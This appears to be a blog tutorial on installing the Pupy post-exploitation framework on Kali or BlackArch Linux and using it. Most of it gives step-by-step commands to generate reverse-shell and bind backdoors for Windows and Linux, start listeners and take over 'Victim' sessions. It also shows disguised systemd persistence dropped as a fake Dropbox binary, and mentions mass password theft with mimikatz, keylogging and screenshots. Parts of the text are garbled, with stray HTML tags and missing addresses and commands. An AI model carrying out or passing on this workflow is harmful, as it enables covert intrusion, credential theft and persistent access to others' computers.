Pupy remote administration tool

Pupy  remote administration
Pupy is an open source tool for cross-platform remote administration (Windows, Linux, OSX, Android are supported as “clients”) and subsequent exploitation (post-exploitation). Written mostly in Python.

    Simply put, this program, which can create backdoors for different systems, perform actions for attaching to remote systems, perform exploits to collect data, increase the privileges of downloading and uploading files, capture the screen, capture keystrokes, etc. as well as other similar tools, also perfectly is suitable for legitimate remote administration of systems.
    • Potential Pupy Uses:
    • Safety studies
    • Education
    • Penetration Testing
    • System administration
    • Privacy projects focused on python, requiring minimal interaction with persistent storage (so as not to leave traces on the hard disk)
    • And other…
    This is one of several articles about Pupy in which the installation is described step by step. The following articles will discuss the principles of the program, basic concepts, practical examples of use.

    How to install Pupy in Kali Linux

    The author of the program offers two installation options: directly to the system and using Docker.

    This program has a bug (about it will be slightly lower) due to incompatibility with the latest version of one of the Python modules. This bug leads to the fact that Pupy, in fact, does not work in listening mode (it cannot accept connections). When using Docker, errors are not displayed on the screen and it is difficult to understand what the problem is. But much worse is that it is not clear how to fix the problem with the library in this container.

    Therefore, I will consider two options for installation  directly into the system and using Docker but I recommend using the installation option directly into the system.
    Installing Pupy on Kali Linux without Docker
    Run the following commands:
    sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv
    git clone --recursive https://github.com/n1nj4sec/pupy
    cd pupy
    python create-workspace.py -DG pupyw
    Roll fix to fix the error:
    sudo pip2 install rpyc==3.4.4
    For start:
    export PATH=$PATH:~/.local/bin; pupysh
    Installing Pupy on Kali Linux
    Installing Pupy on Kali Linux using Docker
    To install and run Docker, run the following commands:
    git clone https://github.com/alxchk/pupy
    cd pupy
    Open the install.sh file and replace the line there:
    if [ "$EUID" == 0 ]
    if [ "$EUID" == 100500 ]
    Then run the commands:
    sudo pip uninstall backports.ssl-match-hostname
    sudo apt-get install python-backports.ssl-match-hostname
    To run the program:

    how to install Pupy on BlackArch

    Installation in BlackArch is as follows:
    sudo pacman -S pupy
    To fix the bug, you need to remove the new version of one of the Python packages, so that the system does not remove Pupy itself, for which this file is a mandatory dependency:
    sudo pacman -Rdd python2-rpyc
    And install a version that does not cause problems:
    sudo pip2 install rpyc==3.4.4
    True, the files generated in BlackArch I refuse to connect to the monitoring computer ...
    Solving the problem with the "Cannot read wireshark manuf database" error When you run Pupy, see if the line is there:
    Cannot read wireshark manuf database
    If present, then there is a serious error. Details about this bug here: https://github.com/n1nj4sec/pupy/issues/622
    The problem is that when the Victim’s computer tries to connect to the Attacker’s computer, the following error appears:
    Exception AttributeError: AttributeError("'PupyConnection' object has no attribute '_closed'",) in <object failed="" repr=""> ignored
    Exception in thread Authentication Thread (
    Traceback (most recent call last):
      File "/usr/lib/python2.7/threading.py", line 801, in __bootstrap_inner
      File "/usr/lib/python2.7/threading.py", line 754, in run
        self.__target(*self.__args, **self.__kwargs)
      File "/usr/share/pupy/network/lib/servers.py", line 135, in _setup_connection
      File "/usr/share/pupy/network/lib/connection.py", line 269, in __init__
        Connection.__init__(self, *args, **kwargs)
    TypeError: __init__() got an unexpected keyword argument '_lazy'

    Exception AttributeError: AttributeError("'PupyConnection' object has no attribute '_closed'",) in <object failed="" repr=""> ignored
     That is, the listening mode for the reverse shell in Pupy does not actually work.
    The problem is solved by lowering the version of the rpyc package to 3.4.4 :
    sudo pip2 install rpyc==3.4.4

    how to create a backdoor with Pupy

    To generate a working payload, we need a clear understanding of how and what works, and before starting work you need to understand terms like:
    • transports
    • launchers
    • listeners
    • payloads
    Transport is how (using what protocols and technologies) the server and the client transfer information between themselves.
    The following options are available:
    • ssl (used by default): TCP transport wrapped in SSL.
    • rsa : Authentication and encryption using RSA and AES256, often combined with other protocols.
    • ssl_rsa : Like ssl , but embedded in the rsa layer.
    • websocket :
    • aes : Uses static key AES256.
    • http : Makes traffic look like regular HTTP + is embedded in the rsa layer .
    • obfs3 : A protocol that prevents third parties from determining which protocol is being used based on the content of the messages. For greater security, Obfs3 is embedded in the rsa layer .
    • scramblesuit : A polymorphic network protocol for circumventing censorship. Scramblesuit is folded with an RSA layer for better security.
    • udp : Rsa layer but via UDP (may be unstable, does not solve problems with packets lost during transmission).
    • others : Layers are of little interest and are given as code examples: (dummy, base64, XOR, ...).
    All transports can be wrappers for each other (stackable). This means that by creating a custom transport configuration (pupy / network / transport / <transport_name> /conf.py), you can make your pupy session look anything you want. For example, you can add HTTP via HTTP via base64 via HTTP via AES via obfs3.

    Launchers allow pupy to run custom actions before launching a reverse connection.
    • connect : A connection is being made from the remote computer to the attacker.
    • bind : The remote computer starts listening on the port while waiting for a connection to it.
    • auto_proxy : Get a list of possible SOCKS / HTTP proxies and try each one of them. Proxy extraction methods: registry, WPAD requests, gnome settings, variable env HTTP_PROXY
    • dnscnc : DNS exfiltration
    Launcher connect is commonly called the Reverse Shell. And bind is what is usually called simply Shell.

    Listeners (listeners) - are used with connect connect , that is, with Reverse Shell, when you need to wait for a connection from a remote computer.

    If bind is selected as the launcher , then we do not need a listener on our computer - we just need to connect to the remote system right away.

    Listeners should get two parameters at startup:
    • port to which sub-wiring will be made
    • transport that uses payload
    By default, the launcher tries to listen on port 443 using the ssl transport . This configuration can be changed in the pupy.conf file . How to add your own listeners will be described below.

    Payload format
    Pupy can create files for various operating systems: Windows, Linux, OSX, Android. Various processor architectures are supported (64-bit and 32-bit). When creating a payload, you need to specify this data in the parameters. This primarily refers to executable files — that is, for executable files, you need to specify, for example, that the backdoor should be running in the Windows operating system with a 64-bit processor architecture.

    Pupy is able to create not only executable files, but also other formats, namely:
    • client : executable files to run on the target machine (.exe, .dll, .lin, .so).
    • py : python file.
    • pyinst : python file ready for use with pyinstaller.
    • py_oneliner : python oneliner (that is, executable code on one line) (starts the listening server in the background)
    • ps1 : powershell file.
    • ps1_oneliner : powershell oneliner (starts the listening server in the background).
    • rubber_ducky : useful with rubber ducky.
    The payload can be generated in two ways: using a separate pupygen.py file , or by running Pupy and using the command in the console
    You can choose any option - these methods have identical launch options. I will show you the example of working in the Pupy session, so I start by running this program.
    Run Pupy
    Starting a Pupy session varies depending on the installation method. When installed directly into the system, the session starts like this:
    export PATH=$PATH:~/.local/bin; pupysh
    When you first start generating keys and certificates that are used in the program to encrypt connections to remote systems:
    Pupy session
    They are saved to the /root/.config/pupy/crypto/credentials.py file . Gen options
    As mentioned above, gen (and pupygen.py ) are used to generate the payload and they have the same options. Consider them.
    gen [-h]
                     [-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}]
                     [-O {android,windows,linux,solaris}] [-A {x86,x64}] [-U]
                     [-P PACKER] [-S] [-o OUTPUT]
                     [-d < ATTEMPTS > < MIN SEC > < MAX SEC >] [-D OUTPUT_DIR]
                     [-s SCRIPTLET] [-l] [-E] [--no-use-proxy]
                     [--oneliner-nothidden] [--debug-scriptlets] [--debug]
                     [--workdir WORKDIR]
                     [{bind,auto_proxy,dnscnc,connect}] ...
    positional arguments:
      {bind, auto_proxy, dnscnc, connect}
                            Choice launcher. Loncher do payload
                            which, when started, behaves differently.
      launcher_args launcher options
    optional arguments:
      -h, --help show help and exit
      -f {client, py, pyinst, py_oneliner, ps1, ps1_oneliner, rubber_ducky, csharp, .NET, .NET_oneliner}, --format {client, py, pyinst, py_oneliner, ps1, ps1_oneliner, rubber_ducky, csharp. NET_oneliner}
                            (default: client)
      -O {android, windows, linux, solaris}, --os {android, windows, linux, solaris}
                            Target OS (default: windows)
      -A {x86, x64}, --arch {x86, x64}
                            Target architecture (default: x86)
      -U, --uncompressed Use uncompressed pattern
      -P PACKER, --packer PACKER
                            Use packer when output format is 'client' (default:)
      -S, --shared Create a shared (shared) object
      -o OUTPUT, --output OUTPUT
                            output file name
      -d   , --delays-list   
      -D OUTPUT_DIR, --output-dir OUTPUT_DIR
                            output folder (default: /root/.config/pupy/output)
      -s SCRIPTLET, --scriptlet SCRIPTLET
                            offline python scripts to run before launch
                            connections. You can specify multiple scriptlets.
      -l, --list list available formats, transporters, scriptlets and
      -E, --prefer-external
                            In the case of auto-detect, prefer external IP
      --no-use-proxy Do not use the proxy target configuration, even if
                            it is used by the target (for now only for ps1_oneliner)
      --oneliner-nothidden Powershell script is not hidden by the target side (default:
      --debug-scriptlets do not catch exceptions in scriptlets on the client
                            for debugging purposes
      --debug to build with a debug pattern (payload opens
      --workdir WORKDIR Set working folder (Default = current working folder)
    As you can see, some values ​​are set by default. If you run the command
    without any options, the payload will be generated, it will take the following values ​​as default values:
    • payload format: client
    • launcher: connect (i.e. reverse shell to our machine)
    • as the IP address is taken automatically determined by our address
    • port for connection: 443
    • platform: windows / x86
    • Transportation: ssl
    But we, of course, can reconfigure all these options with our parameters.
    All options are discussed above, so it makes no sense to explain the commands in detail - if you find something incomprehensible to them, then return to their description.

    Let's start by creating a reverse shell - in this case, the remote computer (“Victim”) is connected to the “Attacker” computer. Therefore, when creating a payload, you need to specify the IP address to which the Victim should connect. For example, the IP addresses of their interfaces can be viewed with the command
    ip a
    I will do tests on the local network, the Attacker's computer has a local address of - so I will use it, and you will replace it with your value. To create a reverse shell for the 64-bit Windows platform that will connect to port 43210 at the IP address using the http transport :
    gen -f client -O windows -A x64 connect --host -t http
    All is ready:
    gen -f

    File successfully created and saved by the path /root/.config/pupy/output/pupyx64.KrN0Qe.exe
    Rename and copy it to a closer path:
    !cp /root/.config/pupy/output/pupyx64.KrN0Qe.exe /root/reverse.exe
    Since a connection to our computer will be made from a remote computer, before running the newly created file on the target system, we need to create a listener that will wait to connect to it.
    By the way, when you start Pupy, one listener starts automatically, say this line:
    [*] Listen: ssl: 443
    That it, there is a listener for ssl transport on port 443 .
    New listeners are created, deleted and shown with the listen command .

    Creating pupy listeners

    listen [-h] [-l | -L | -a TRANSPORT [TRANSPORT_ARG1 ...] | -A TRANSPORT
                  [TRANSPORT_ARG1 ...] | -r TRANSPORT]
    Optional arguments:
    -h, --help show help and exit
    -l, --list show listeners
    -L, --list-transports
                           show available transports
                           run the listener
                           start the listener (ignoring proxy)
    -r TRANSPORT, --remove TRANSPORT
                           stop listener
    Since for my payload I chose the http transport , and indicated 43210 as the port , the listener in my case starts like this:
    listen -a http 43210
    The general view of the command is:
    listen -a TRANSPORT PORT
    [+] Listen: http: 43210
    Says that everything went well.
    Let's list all listeners:
    listen -l
    pupy listeners

    Everything is ready - now I transfer the file with the payload to the target system and run it there.
    A few seconds after the launch, the attacker’s computer will be connected to and the following information will appear:
    [*] Session 1 opened (Alex@DESKTOP-IGFN39T) (('', 43210) <-"" code="">
    We will move on to managing sessions, executing commands on a remote machine, and operating in the next section. In the meantime, consider a few more popular examples of payload generation.

    Pupy Backdoor for Windows

    To create a shell that will open port 54321 for 64-bit Windows and wait for a connection from the remote computer via the http transport, run the following command:
    gen -f client -O windows -A x64 bind --port 54321 -t http
    In this case, we do not specify an IP address, since this payload is not connected anywhere. But we specify the port - this port will be opened on the computer of the Victim, waiting for the Attacker to connect.
    Backdoor connection To connect, use the connect command . Consider her options.
    connect [-h] -c   </ font>
             [-t {obfs3, http, ssl, ecm, tcp_cleartext, dfws, rsa, udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa}]
    Connect options
    positional arguments:  </ font>
      transport_args Transport Arguments: key = value key = value ...  </ font>
     </ font>
    optional arguments:  </ font>
      -h, --help show help and exit  </ font>
      -c , --host   </ font>
                            host: the port of the pupy server to connect to. You can  </ font>
                            specify several arguments --host arguments for trying  </ font>
                            connections to multiple IPs  </ font>
      -t {obfs3, http, ssl, ecm, tcp_cleartext, dfws, rsa, udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa}, --transport {obfs3, http, ssl, ecm, tccrs, http, ssl, ssl_rsa} udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa}  </ font>
                            Used transport
    As you can see, be sure to specify the IP and port connections. Transportation can be omitted.
    By the way, in Windows, the IP address can be found with the command
    ipconfig /all
    To connect to port 54321 of the host
    connect -c

    Pupy Linux backdoor

    For Linux, you can also create a reverse shell and a regular shell.
    To create a reverse shell:
    gen -f client -O linux -A x64 connect --host -t http
    The listener runs exactly as shown above
    listen -a http 44445
    To create a backdoor that will wait for a connection from us:
    gen -f client -O linux -A x64 bind --port 44446 -t http
    To connect to it:
    connect -c localhost:44446

    How to remotely manage computers through backdoor

    Work with connected sessions
    The sessions command performs tasks related to session management:
    • display a list of connected remote computers
    • selecting a session to send a command to a computer
    • disconnect from one or all computers at once
    sessions [-h] [-i ] [-g] [-k] [-K] [-d] [-D]
    Optional arguments:
    -h, --help
    -i , --interact 
                           change default value --filter for other commands
    -g, --global-reset reset --interact to standard global behavior
    -k  Kill selected session
    -K kill all sessions
    -d  Reset connection (abruptly close the socket)
    -D Reset all connections
    By default, all the commands that you enter to run on remote systems (launching modules) pupy executes immediately on all connected clients. Thanks to this, you can, for example, run mimikatz on all connected clients with one command and collect passwords everywhere at once.
    To display the list of sessions run the command:
    pupy sessions

    Pupy commands to run on a remote computer

    In fact, this is not called commands, but modules, because, in fact, on remote computers you can execute any commands that support these systems.

    As for the modules, they contain some frequently used commands, as well as combined actions, including using third-party tools (for example, to extract all passwords).
    To run the command, you need to use the row that is in the " Name " column .
    For example, to display a list of disks on all systems, run the command:
    To get help on a module, enter its name with the -h option. For example, I want to learn help for the persistence module (enabling and disabling pinning):
    persistence -h
    persistence [-h] [-s] [-p USEFUL LOAD] [-n NAME] [-m METHOD] [-l]
    Optional arguments:
    -h, --help show help and exit
    -s, --shared to prefer shared objects (linux only)
    -p PAYLOAD remote path or command to execute on login (windows only)
    -n NAME specify a name to use (windows only)
    -m METHOD must be an ID to get a list of available methods.
                   run with option (-l) (windows only)
    -l list all possible techniques for this host (windows only)
    --remove remove pin
    An example of creating a backdoor on a remote system that will start when the computer starts:
    >>                                  PupyClient(id=2, user=mial, hostname=HackWare, platform=Linux)                                       <<
    { Configuration }
    KEY            VALUE                              
    launcher       connect                            
    launcher_args  --host -t http  
    cid            3263277090                         
    [+] Required credentials (found)
    [+] Generating the payload with the current config from pupyx64.lin - size=3713536
    [+] Dropped: /home/mial/.dropbox-dist/dropboxc Method: Systemd Config: /home/mial/.config/systemd/user/dbus.service.d/hgzenu.conf
    creating a backdoor
    This entry means that the configuration file for autorun is saved along the path /home/mial/.config/systemd/user/dbus.service.d/hgzenu.conf , and the executable itself is stored in /home/mial/.dropbox-dist/ dropboxc

    Some more examples.
    To view information about network connections on remote systems:
    pupy netstat

    To retrieve all passwords:
    Keystroke Invader:
    Getting information about systems:
    To get screenshots of desktops of remote computers:
    Execution of commands only on certain remote systems
    You can switch between sessions, for example, to switch to the first session so that the commands entered are executed only on it:
    sessions -i 1
    It is not necessary to specify the session number - various filters are supported, thanks to which you can select one or several systems at once. For example, to interact only with all Windows 7:
    sessions -i 'platform:Windows release:7'
    Filtering by various parameters is supported, you can see them all by running the command:
    Use autocompletion! When entering commands, press the TAB key to complete the names of commands and options. Screen your arguments
    Each command in the pupy shell uses unix-like escape syntax. If you need a space in one of your arguments, you need to put your argument between the quotes:
    shell_exec 'tasklist /V'
    If you send the path to Windows, you need to escape the backslash with one more - the second backslash, or put everything in quotes:
    download 'C:\Windows\System32\cmd.exe'
    download C:\\Windows\\System32\\cmd.exe
    Create nicknames To improve performance, you can specify module aliases in the pupy.conf file . If you define an alias as follows:
    then start the team
    will be equivalent to running the command:
    An example of creating a pseudonym for adding a command to kill a client process pupy with signal 9:
    killme = pyexec -c 'import os;os.kill(os.getpid(),9)'
    Works Jobs are teams running in the background. Some modules, such as socks5proxy or portfwd , automatically start work, but all modules can be started as work if you use the --bg argument :
    run --bg shell_exec 'tasklist /V'
    [%] job < shell_exec ['tasklist /V'] > started in background !
    jobs [-h] [-k  | -K ] [-l] [-p ]
    Optional arguments:
    -h, --help show help and exit
    -k , --kill 
                           close the job, but before that show its current output
    -K , --kill-no-output 
                           close work without showing output
    -l, --list list of jobs
    -p , --print-output 
                           print job output
    The --bg switch is usually used when you want to execute a long command / module and you want the shell to remain functional during its operation.
    The output of the work can be obtained at any time using the command
    jobs -p
    The jobs command can also display a list of jobs and complete jobs.
    Normal jobs can be installed in your Linux / Unix desktop environment by running your pupysh.py script inside the Screen utility. You can then configure cronjobs to run the command at any intervals you require. Replace 1674 with your screen session ID. The echo command in this example essentially emulates pressing the Enter key:
    screen -S 1674 -X stuff 'this is an example command'$(echo -ne '\015')

    Run command

    This command is needed to run modules, but you can skip it if you are not going to use additional features, such as executing a command in the background, saving results to a file and / or only for certain clients.
    run [-h] [-1] [-o OUTPUT] [-f ] [-b]  ...
    positional arguments:
       module arguments
    optional arguments:
      -h, --help show help and exit
      -1, --once Unload new depot after use
      -o OUTPUT, --output OUTPUT
                            save the command output to a file.% t is a timestamp,% h is a host,
                            % m - MAC address,% c - short client name,% M - module name,% p
                            - platform,% u - user,% a - IP address
      -f , --filter 
                            perform on clients matching the filter. Everything
                            fields that can be filtered can be seen in the module
                             "info". For example: run get_info -f 'platform: win release: 7 os_arch: 64'
      -b, --background run in background
    Penetration Testing Tools
    May 19, 2019


    1. python create-workspace.py -DG pupyw results in error of Unrecognized arguments -DG


    Post a Comment


    Popular Posts

    USB WiFi adapters that support monitor mode and wireless injection

    usb wifi adapter with monitor mode and wireless injection (100% compatibl…

    how to update Kali Linux and Fix update error

    Kali Linux one of the best Linux distro for penetration testing it's freq…

    Fix Kali Linux sources.list Repositories

    Fix default repository First after installing a clean Kali Linux the sou…

    Recent Comments

    Contact Me